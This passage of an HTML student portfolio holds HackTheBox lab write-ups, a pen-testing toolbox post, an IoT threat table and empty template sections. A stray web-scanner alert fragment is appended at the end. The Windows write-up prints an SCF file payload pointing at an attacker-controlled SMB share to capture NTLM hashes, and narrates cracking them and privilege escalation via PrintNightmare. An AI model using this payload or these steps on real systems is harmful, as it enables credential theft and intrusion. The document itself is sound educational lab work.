href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 2000000000Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 254375293, which evaluates to: 1978-01-23 04:48:13
Request Request line and header section (192 bytes)
